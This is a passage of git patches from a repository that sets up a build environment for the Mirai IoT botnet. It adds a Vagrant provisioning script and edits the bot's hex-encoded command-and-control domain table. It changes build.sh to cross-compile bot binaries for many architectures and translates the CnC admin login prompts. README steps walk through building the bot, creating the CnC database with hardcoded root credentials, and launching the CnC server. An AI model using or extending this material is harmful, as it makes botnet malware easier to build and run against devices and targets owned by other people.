you're doing. +# This vagrant sets up build environment for mirai botnet Vagrant.configure("2") do |config| # The most common configuration options are documented and commented below. # For a complete reference, please see the online documentation at @@ -12,60 +9,18 @@ Vagrant.configure("2") do |config| # Every Vagrant development environment requires a box. You can search for # boxes at https://atlas.hashicorp.com/search. - config.vm.box = "base" - - # Disable automatic box update checking. If you disable this, then - # boxes will only be checked for updates when the user runs - # `vagrant box outdated`. This is not recommended. - # config.vm.box_check_update = false - - # Create a forwarded port mapping which allows access to a specific port - # within the machine from a port on the host machine. In the example below, - # accessing "localhost:8080" will access port 80 on the guest machine. - # config.vm.network "forwarded_port", guest: 80, host: 8080 - - # Create a private network, which allows host-only access to the machine - # using a specific IP. - # config.vm.network "private_network", ip: "192.168.33.10" - - # Create a public network, which generally matched to bridged network. - # Bridged networks make the machine appear as another physical device on - # your network. - # config.vm.network "public_network" - - # Share an additional folder to the guest VM. The first argument is - # the path on the host to the actual folder. The second argument is - # the path on the guest to mount the folder. And the optional third - # argument is a set of non-required options. - # config.vm.synced_folder "../data", "/vagrant_data" - - # Provider-specific configuration so you can fine-tune various - # backing providers for Vagrant. These expose provider-specific options. - # Example for VirtualBox: - # - # config.vm.provider "virtualbox" do |vb| - # # Display the VirtualBox GUI when booting the machine - # vb.gui = true - # - # # Customize the amount of memory on the VM: - # vb.memory = "1024" - # end - # - # View the documentation for the provider you are using for more - # information on available options. - - # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies - # such as FTP and Heroku are also available. See the documentation at - # https://docs.vagrantup.com/v2/push/atlas.html for more information. - # config.push.define "atlas" do |push| - # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" - # end + config.vm.box = "ubuntu/trusty64" # Enable provisioning with a shell script. Additional provisioners such as # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the # documentation for more information about their specific syntax and use. - # config.vm.provision "shell", inline: <<-SHELL - # apt-get update - # apt-get install -y apache2 - # SHELL + config.vm.provision "shell", inline: <<-SHELL + debconf-set-selections <<< 'mysql-server mysql-server/root_password password password' + debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password password' + apt-get update + apt-get upgrade -y + apt-get install -y mysql-server mysql-client golang gcc electric-fence git + chmod +x /vagrant/Setting_Up_Cross_Compilers.sh + /vagrant/Setting_Up_Cross_Compilers.sh + SHELL end diff --git a/mirai/bot/table.c b/mirai/bot/table.c index 45881e7..dd1d6bd 100755 --- a/mirai/bot/table.c +++ b/mirai/bot/table.c @@ -21,7 +21,8 @@ void table_init(void) // $echo example.com | hexdump -e '1/1 "\\\x"' -e '1/1 "%.2x"' // \x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0a // remember to add null byte on end -add_entry(TABLE_CNC_DOMAIN, "\x63\x6e\x63\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 17); + +add_entry(TABLE_CNC_DOMAIN, "\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x00", 12); //changed to example.com add_entry(TABLE_CNC_PORT, "\x00\x17", 2); add_entry(TABLE_SCAN_CB_DOMAIN, "\x72\x65\x70\x6f\x72\x74\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 20); add_entry(TABLE_SCAN_CB_PORT, "\xbb\xe5", 2); diff --git a/mirai/build.sh b/mirai/build.sh index 51afd44..ac8a571 100755 --- a/mirai/build.sh +++ b/mirai/build.sh @@ -1,4 +1,6 @@ #!/bin/bash +go get github.com/go-sql-driver/mysql +go get github.com/mattn/go-shellwords FLAGS="" @@ -29,7 +31,6 @@ elif [ "$1" == "release" ]; then compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH" - compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static" @@ -40,7 +41,6 @@ elif [ "$1" == "release" ]; then compile_bot mipsel miraint.mpsl "-static" compile_bot armv4l miraint.arm "-static" compile_bot armv5l miraint.arm5n " " - compile_bot armv6l miraint.arm7 "-static" compile_bot powerpc miraint.ppc "-static" compile_bot sparc miraint.spc "-static" compile_bot m68k miraint.m68k "-static" @@ -51,7 +51,6 @@ elif [ "$1" == "debug" ]; then gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm - armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7 sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4 gcc -std=c99 tools/enc.c -g -o debug/enc gcc -std=c99 tools/nogdb.c -g -o debug/nogdb diff --git a/mirai/cnc/admin.go b/mirai/cnc/admin.go index 28a2091..173c25c 100755 --- a/mirai/cnc/admin.go +++ b/mirai/cnc/admin.go @@ -35,7 +35,8 @@ func (this *Admin) Handle() { // Get username this.conn.SetDeadline(time.Now().Add(60 * time.Second)) - this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) + this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m\r\n")) + this.conn.Write([]byte("\033[34;1musername\033[33;3m: \033[0m")) username, err := this.ReadLine(false) if err != nil { return @@ -43,7 +44,8 @@ func (this *Admin) Handle() { // Get password this.conn.SetDeadline(time.Now().Add(60 * time.Second)) - this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m")) + this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m\r\n")) + this.conn.Write([]byte("\033[34;1mpassword\033[33;3m: \033[0m")) password, err := this.ReadLine(true) if err != nil { return @@ -53,7 +55,8 @@ func (this *Admin) Handle() { this.conn.Write([]byte("\r\n")) spinBuf := []byte{'-', '\\', '|', '/'} for i := 0; i < 15; i++ { - this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) + //this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) + this.conn.Write(append([]byte("\r\033[37;1mchecking account ... \033[31m"), spinBuf[i % len(spinBuf)])) time.Sleep(time.Duration(300) * time.Millisecond) } @@ -61,7 +64,9 @@ func (this *Admin) Handle() { var userInfo AccountInfo if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn { this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n")) - this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m")) + this.conn.Write([]byte("\r\033[32;1mAn unknown error occurred\r\n")) + this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m\r\n")) + this.conn.Write([]byte("\033[31mPress any key to exit. (any key)\033[0m")) buf := make([]byte, 1) this.conn.Read(buf) return diff --git a/mirai/cnc/main.go b/mirai/cnc/main.go index 670b7a7..c52497f 100755 --- a/mirai/cnc/main.go +++ b/mirai/cnc/main.go @@ -7,7 +7,7 @@ import ( "time" ) -const DatabaseAddr string = "127.0.0.1" +const DatabaseAddr string = "127.0.0.1:3306" const DatabaseUser string = "root" const DatabasePass string = "password" const DatabaseTable string = "mirai" From 965ab0d627be4c19ccf399421b3c0bcc2fbaf53b Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 14:35:55 -0400 Subject: [PATCH 25/26] READ.me formatting!! --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 11e413b..3096c31 100644 --- a/README.md +++ b/README.md @@ -29,14 +29,15 @@ modified build.sh to download go packages steps to setup build environment -git pull -vagrant up -vagrant ssh -cd /vagrant/mirai -./build.sh + - git pull + - vagrant up + - vagrant ssh + - cd /vagrant/mirai + - ./build.sh Steps to create database cat Configure_CNC_Database.txt | mysql -u root --password=password Start the CnC +make a prompt file in ./release From c8381aa2195a1f6310ff7ef19dafec19155eefee Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 14:38:29 -0400 Subject: [PATCH 26/26] Changes to be committed: modified: README.md --- README.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3096c31..ad3b671 100644 --- a/README.md +++ b/README.md @@ -35,9 +35,11 @@ steps to setup build environment - cd /vagrant/mirai - ./build.sh -Steps to create database -cat Configure_CNC_Database.txt | mysql -u root --password=password +Steps to create database: +`cat Configure_CNC_Database.txt | mysql -u root --password=password` Start the CnC -make a prompt file in ./release +- make a prompt file in ./release +- `cd ./release` +- `sudo ./cnc`